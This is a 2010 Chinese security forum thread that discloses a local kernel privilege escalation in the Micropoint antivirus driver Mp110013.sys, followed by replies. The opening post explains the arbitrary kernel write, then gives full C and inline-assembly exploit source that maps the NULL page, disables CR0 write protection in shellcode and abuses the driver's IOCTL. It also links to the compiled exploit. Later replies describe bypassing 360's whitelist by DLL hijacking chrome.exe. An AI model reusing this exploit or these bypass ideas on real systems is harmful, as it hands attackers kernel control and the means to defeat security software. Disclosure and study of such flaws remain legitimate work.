首页
社区
课程
招聘
[原创]微点主动防御 Mp110013.sys <= 1.3.10123.0 本地内核权限提升漏洞
2010-4-13 21:57 21832

[原创]微点主动防御 Mp110013.sys <= 1.3.10123.0 本地内核权限提升漏洞

2010-4-13 21:57
21832
漏洞涉及产品:微点主动防御100323.1.2.10581.0278.r1及以下版本
mp110013.sys <= 1.3.10123.0

漏洞影响:
通过漏洞攻击者在最低系统权限下执行内核权限代码,从而可以突破任何存在的安全防护软件,包括沙盘、主动防御、杀毒软件、防火墙、HIPS,UAC和系统安全设置
漏洞详细原理和利用方法

微点主动防御的驱动程序Mp110003.sys中存在这样一个功能,允许用户提供PspCreateProcessNotifyRoutineCount和PspCreateProcessNotifyRoutine 相对于ntoskrnl的偏移,提供后,微点将在mp110003中处理这个偏移,从偏移地址获取PspCreateProcessNotifyRoutine数组,并寻找自己在其中注册的项目,将此项目位置作为数值A
接着在其对于NtCreateProcessEx的钩子和系统线程中,高频率检查PspCreateProcessNotifyRoutineCount中的数值是否小于数值A,如果小于,则关闭系统内存写保护,并将数值A写回到PspCreateProcessNotifyRoutineCount指向的内存

由于偏移地址可随意指定,因此用户态的程序可以使微点驱动写入任意内核地址,但这个漏洞的利用条件实际是比较苛刻的,需要满足下面3个条件:

(1).由于微点会开启系统线程去访问PspCreateProcessNotifyRoutineCount和PspCreateProcessNotifyRoutine,因此我们不能指定一个位于用户态内存的地址。

(2).PspCreateProcessNotifyRoutine又必须满足要存在一项微点自己的回调函数,这是比较困难的,因为NotifyRoutine的结构在XP下有一点麻烦,最好是使用原始的地址了。

(3).PspCreateProcessNotifyRoutineCount指向的内存中的数值必须小于当前真正的回调函数个数,又能被某一个RING3程序可以调用的系统调用访问或执行,因为系统只允许最多8个回调函数,所以最终写入数值只可能是1~8之间,因此必须申请0号地址内存去执行。

这里我使用了PspLegoNotifyRoutine这个东东,这个回调首先系统通常是空的,满足条件3,同时可以通过线程的结束来控制,这个通知条件是KThread->LegoData不为空,由于这个
地址通常也是空的,因此我们同样可以利用这个漏洞来将其设为非空,最后由于我们需要申请0号地址来执行代码,因此不能用进程主线程干这个事,因为LegoNotfiy 执行时机在PspExitThread中比较晚,那时如果是主线程销毁,进程的VM已经被销毁了。

利用程序:http://mj0011.ys168.com 漏洞演示目录下mp0day1.rar

漏洞利用的结果是在内核态向系统所有进程的ntdll.dll基址偏移0x8写入“6543”

这里利用程序有一些平台相关的处理,懒得做兼容了,目前只支持XP。

利用代码如下:
// mp0day1.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include "windows.h"
#include "shlwapi.h"
#pragma comment(lib , "shlwapi.lib")
VOID __declspec(naked) ShellCode()
{
__asm
{
  pushad
  mov eax , cr0
  push eax
  and eax, 0xFFFEFFFF
  mov cr0 , eax
  cli
  mov eax , 0xAAAA5555
  mov dword ptr[eax] , 0x33343536
  sti
  pop eax
  mov cr0 , eax
  popad
  ret 0x4
}
}
VOID __declspec(naked) nopfunc()
{
__asm{mov edi ,edi
  nop };
}
enum { SystemModuleInformation = 11,
  SystemHandleInformation = 16 };
typedef struct {
    ULONG  Unknown1;
    ULONG  Unknown2;
    PVOID  Base;
    ULONG  Size;
    ULONG  Flags;
    USHORT Index;
    USHORT NameLength;
    USHORT LoadCount;
    USHORT PathLength;
    CHAR    ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;
typedef struct {
    ULONG  Count;
    SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
PVOID GetInfoTable(ULONG ATableType)
{
ULONG mSize = 0x4000;
PVOID mPtr = NULL;
LONG status;
HMODULE hlib = GetModuleHandle("ntdll.dll");
PVOID pZwQuerySystemInformation = GetProcAddress(hlib , "ZwQuerySystemInformation");
do
{
  mPtr = malloc(mSize);
  if (mPtr)
  {
    __asm
    {
    push 0
    push mSize
    push mPtr
    push ATableType
    call pZwQuerySystemInformation
    mov status , eax
    }
  
  }
  else
  {
    return NULL;
  }
  if (status == 0xc0000004)
  {
    free(mPtr);
    mSize = mSize * 2;
  }
} while (status == 0xc0000004);
if (status == 0)
{
  return mPtr;
}
free(mPtr);
return NULL;
}
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO {
    USHORT UniqueProcessId;
    USHORT CreatorBackTraceIndex;
    UCHAR ObjectTypeIndex;
    UCHAR HandleAttributes;
    USHORT HandleValue;
    PVOID Object;
    ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
typedef struct _SYSTEM_HANDLE_INFORMATION {
    ULONG NumberOfHandles;
    SYSTEM_HANDLE_TABLE_ENTRY_INFO Information[ 1 ];
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
DWORD WINAPI LegoThread(LPVOID lpThreadParameter)
{
while(TRUE)
{
  Sleep(0x1000);
}
return 0 ;
}
int main(int argc, char* argv[])
{
DWORD dwVersion = 0;
DWORD dwMajorVersion = 0;
DWORD dwMinorVersion = 0;

    dwVersion = GetVersion();
    // Get the Windows version.
    dwMajorVersion = (DWORD)(LOBYTE(LOWORD(dwVersion)));
    dwMinorVersion = (DWORD)(HIBYTE(LOWORD(dwVersion)));
if (dwMajorVersion != 5 || dwMinorVersion != 1)
{
  printf("POC for XP only\n");
  getchar();
  return 0 ;
}
printf("Micropoint Mp110003.sys <= 1.3.10123.0 Local Privilege Escalation Vulnerability POC\n"
  "by MJ0011 th_decoder@126.com\n"
  "Press Enter\n");
getchar();
   
HANDLE hDev = CreateFile("[url=]\\\\.\\mp110013[/url]" ,
  0 ,
  FILE_SHARE_READ | FILE_SHARE_WRITE ,
  0,
  OPEN_EXISTING,0,
  0
  );
if (hDev == INVALID_HANDLE_VALUE)
{
  printf("cannot open device %u\n" , GetLastError());
  return 0 ;
}

    PVOID BaseAddress            = (PVOID) 1;
    ULONG RegionSize              = (ULONG) 0;
PVOID pNtAllocateVirtualMemory = GetProcAddress(GetModuleHandle("ntdll.dll") , "NtAllocateVirtualMemory");
PVOID pNtFreeVirtualMemory = GetProcAddress(GetModuleHandle("ntdll.dll") , "NtFreeVirtualMemory");
ULONG status ;
    __asm
{
  push 0x8000
  lea eax , RegionSize
  push eax
  lea eax , BaseAddress
  push eax
  push 0xffffffff
  call pNtFreeVirtualMemory
  mov RegionSize,0x1000
  push 0x40
  push 0x3000
  lea eax , RegionSize
  push eax
  push 0
  lea eax , BaseAddress
  push eax
  push 0xffffffff
  call pNtAllocateVirtualMemory
  mov status , eax
}
if (status != 0 )
{
  printf("allocate 0 memory failed %08x\n" , status);
  return 0 ;
}
//set nop code
ULONG codesize = (ULONG)nopfunc - (ULONG)ShellCode;
memset((PVOID)0 , 0x90 , 0x8);
memcpy((PVOID)0x8 , ShellCode , codesize);
ULONG i ;
for (i = 0x8 ; i < codesize+0x8 ; i++)
{
  if (*(DWORD*)i == 0xAAAA5555)
  {
    *(DWORD*)i = (DWORD)(GetModuleHandle("ntdll.dll") + 0x2);
    break ;
  }
}
PSYSTEM_MODULE_INFORMATION pModInfo = (PSYSTEM_MODULE_INFORMATION)GetInfoTable(SystemModuleInformation);
if (pModInfo == 0 )
{
  printf("get info table failed!\n");
  return 0 ;
}
ULONG Tid ;
HANDLE hThread = CreateThread(0 , 0 , LegoThread , 0 , 0 , &Tid);
if (hThread == 0 )
{
  printf("cannot open thread %u\n",GetLastError());
  return 0 ;
}
//SystemHandleInformation=16
PSYSTEM_HANDLE_INFORMATION pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)GetInfoTable(16);
if (pHandleInfo == 0 )
{
  printf("cannot get handle info\n");
  return 0 ;
}
ULONG ThreadObject =0;
for (i = 0 ; i < pHandleInfo->NumberOfHandles ; i ++)
{
  if (pHandleInfo->Information.UniqueProcessId == GetCurrentProcessId() &&
    pHandleInfo->Information.HandleValue == (USHORT)hThread)
  {
    ThreadObject = (ULONG)pHandleInfo->Information.Object;
    break ;
  }
}
if (ThreadObject == 0 )
{
  printf("cannot get thread object!\n");
  return 0 ;
}
ThreadObject+=0xd0;

HMODULE hkernel = LoadLibraryA(strrchr(pModInfo->Module[0].ImageName, '\\') + 1);
if (hkernel == 0 )
{
  printf("kernel mapping error %u\n" , GetLastError());
  return 0 ;
}
ULONG PsSetLegoNotifyRoutine = (ULONG)GetProcAddress(hkernel , "PsSetLegoNotifyRoutine");
ULONG PspLegoNotifyRoutine = 0 ;
if (PsSetLegoNotifyRoutine ==0)
{
  printf("PsSetLegoNotifyRoutine==0");
  return 0 ;
}
for (i = PsSetLegoNotifyRoutine ; i < PsSetLegoNotifyRoutine + 0x10 ; i ++)
{
  if (*(BYTE*)i == 0xa3 && *(BYTE*)(i + 5 == 0xb8 ) && *(DWORD*)(i + 6 )==0xd0)
  {
    PspLegoNotifyRoutine = *(ULONG*)(i +1);
    break ;
  }
}
if (PspLegoNotifyRoutine == 0 )
{
  printf("bad PsSetLegoNotifyRoutine\n");
  return 0 ;
}
ULONG PsSetCreateProcessNotifyRoutine = (ULONG)GetProcAddress(hkernel , "PsSetCreateProcessNotifyRoutine");
ULONG PspCreateProcessNotifyRoutine= 0 ;
if (PsSetCreateProcessNotifyRoutine==0)
{
  printf("PsSetCreateProcessNotifyRoutine==0!\n");
  return 0 ;
}
for (i = PsSetCreateProcessNotifyRoutine ; i < PsSetCreateProcessNotifyRoutine + 0x30 ; i ++)
{
  if (*(BYTE*)i == 0xbf && *(WORD*)(i + 5) == 0xe857)
  {
    PspCreateProcessNotifyRoutine = *(ULONG*)(i + 1);
    break ;
  }
}
if (PspCreateProcessNotifyRoutine ==0)
{
  printf("bad PsSetCreateProcessNotifyRoutine!\n");
  return 0 ;
}
PIMAGE_DOS_HEADER doshdr ;
PIMAGE_NT_HEADERS nthdr ;
doshdr = (PIMAGE_DOS_HEADER )(hkernel);
nthdr = (PIMAGE_NT_HEADERS)((ULONG)hkernel + doshdr->e_lfanew);
PspLegoNotifyRoutine += (ULONG)pModInfo->Module[0].Base - nthdr->OptionalHeader.ImageBase;
PspCreateProcessNotifyRoutine += (ULONG)pModInfo->Module[0].Base - nthdr->OptionalHeader.ImageBase;
FreeLibrary(hkernel);
ULONG PspLegoNotifyRoutineOff = (ULONG)PspLegoNotifyRoutine - (ULONG)pModInfo->Module[0].Base ;
ULONG PspCreateProcessNotifyRoutineOff = (ULONG)PspCreateProcessNotifyRoutine - (ULONG)pModInfo->Module[0].Base;
ULONG btr ;
ULONG InputBuffer[3] = {0x0 , PspCreateProcessNotifyRoutineOff , PspLegoNotifyRoutineOff };
if (!DeviceIoControl(hDev ,
  0x800001A4,
  &InputBuffer ,
  sizeof(ULONG)*3 ,
  NULL,
  0,
  &btr ,
  0))
{
  printf("device io control failed %u\n", GetLastError());
  return 0 ;
}
PVOID pNtCreateProcessEx = GetProcAddress(GetModuleHandle("ntdll.dll") , "NtCreateProcessEx");
HANDLE hProc ;
__asm
{
  push 0
  push 0
  push 0
  push 0
  push 0
  push 0x1
  push 0
  push 0
  lea eax ,hProc
  push eax
  call pNtCreateProcessEx
}
ULONG ThreadLegoDataOff = ThreadObject - (ULONG)pModInfo->Module[0].Base ;
InputBuffer[2] = ThreadLegoDataOff;
if (!DeviceIoControl(hDev ,
  0x800001A4,
  &InputBuffer ,
  sizeof(ULONG)*3 ,
  NULL,
  0,
  &btr ,
  0))
{
  printf("device io control failed %u\n", GetLastError());
  return 0 ;
}

__asm
{
  push 0
    push 0
    push 0
    push 0
    push 0
    push 0x1
    push 0
    push 0
    lea eax ,hProc
    push eax
    call pNtCreateProcessEx
}

TerminateThread(hThread , 0 );
printf("POC Executed\n");
getchar();
return 0;
}

[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

收藏
点赞6
打赏
分享
最新回复 (52)
雪    币: 216
活跃值: (37)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
bolide 2010-4-13 22:22
2
0
沙发!
迅速围观!
雪    币: 351
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
x敏m 2010-4-13 22:23
3
0
板凳学习。。。
雪    币: 269
活跃值: (25)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
ReturnsMe 2 2010-4-14 12:47
4
0
刚学习完利用代码的飘过~感谢~
雪    币: 622
活跃值: (65)
能力值: ( LV13,RANK:290 )
在线值:
发帖
回帖
粉丝
dge 6 2010-4-14 13:46
5
0
围观牛人。。。
雪    币: 2015
活跃值: (902)
能力值: ( LV12,RANK:1000 )
在线值:
发帖
回帖
粉丝
天易love 18 2010-4-14 14:04
6
0
貌似360也不是很安全!!!!!!!!!!这两天放出来
雪    币: 123
活跃值: (295)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
xlshn 2010-4-14 14:12
7
0
围观一下。
雪    币: 213
活跃值: (147)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
jasonzhou 2010-4-14 15:54
8
0
雪    币: 95
活跃值: (15)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
zphdebug 1 2010-4-14 16:04
9
0
膜拜
雪    币: 635
活跃值: (101)
能力值: ( LV12,RANK:420 )
在线值:
发帖
回帖
粉丝
qihoocom 9 2010-4-14 17:41
10
0
欢迎欢迎,现在做活动,集齐10个内核漏洞送鼠标垫一个,集齐100个绕过漏洞送U盘一个
雪    币: 72
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
hekbobo 2010-4-14 18:50
11
0
雪    币: 306
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
小原 2010-4-14 19:00
12
0
360签名的机制是有漏洞的,还有,用osrloader加载驱动,360直接不提示~
雪    币: 635
活跃值: (101)
能力值: ( LV12,RANK:420 )
在线值:
发帖
回帖
粉丝
qihoocom 9 2010-4-14 19:25
13
0
不拦截?你不要逗我发笑好不好?自己看图

签名机制有漏洞,你利用一下试试看?新的签名机制早用于DRIVER了,你还是几百年前看的吧?
上传的附件:
雪    币: 306
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
小原 2010-4-14 20:25
14
0


老方法,借尸还魂,宿主合法的,他做的操作都是合法(包括它加载的对象),很容易进白名单



再爆一下谷歌浏览器,很简单的后门,chrome.exe只有一行代码loadlibary(chrome.dll) ,chrome.exe进入了白名单,所以嘛,哈哈,拷贝过来,自己写一个chrome.dll,360的bho
百分百在白名单里面吧,签名是业务漏洞,只要360不收保护费,这个业务漏洞就可以利用~
上传的附件:
雪    币: 306
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
小原 2010-4-14 20:27
15
0
360对注入根本不报警,注入qq,简单的要死,1行代码~
雪    币: 635
活跃值: (101)
能力值: ( LV12,RANK:420 )
在线值:
发帖
回帖
粉丝
qihoocom 9 2010-4-14 20:31
16
0
不知道你用的是几万年前的360了,不过我记得驱动防火墙从来没有对宿主做过合法操作,自己看上面我的图吧,除非你加载的根本就不是恶意驱动,宿主合法在其他位置也逐渐开始无效了,CHROME这个更不是什么后门了,很多软件都有。
雪    币: 1489
活跃值: (955)
能力值: (RANK:860 )
在线值:
发帖
回帖
粉丝
仙果 19 2010-4-14 20:35
17
0
我只是假装路过
雪    币: 1489
活跃值: (955)
能力值: (RANK:860 )
在线值:
发帖
回帖
粉丝
仙果 19 2010-4-14 20:36
18
0
那现在我来八卦了
雪    币: 109
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
龙心 2010-4-14 23:11
19
0
真的吗,写出来啊
雪    币: 220
活跃值: (631)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
dayang 2010-4-15 00:25
20
0
为了机器效率不用360及杀软用户发话。有必要搞那么复杂吗?中毒了,一键还原算了,重要东西不放C盘,安全还是靠个人习惯!
雪    币: 2015
活跃值: (902)
能力值: ( LV12,RANK:1000 )
在线值:
发帖
回帖
粉丝
天易love 18 2010-4-15 00:29
21
0
不是漏洞的问题,是抄了它老家的问题,每次运行,360都会主动访问某个我指定的网站。为了一个U盘就告诉你这个ODAY吗?
雪    币: 635
活跃值: (101)
能力值: ( LV12,RANK:420 )
在线值:
发帖
回帖
粉丝
qihoocom 9 2010-4-15 00:44
22
0
我怎么觉得这比什么0DAY漏洞差得太远了?另外不是你自己说要放的吗?
雪    币: 806
活跃值: (10)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
zyr零零发 1 2010-4-15 10:37
24
0
各位讨论的怎么文不对题啊。。。。360?
雪    币: 212
活跃值: (28)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
ttoyy 2010-4-15 12:23
25
0
表层漏洞就多多,,更别提内层了,,象我这菜鸟都轻松过掉360。。所以你们的产品还需加油撒
游客
登录 | 注册 方可回帖
返回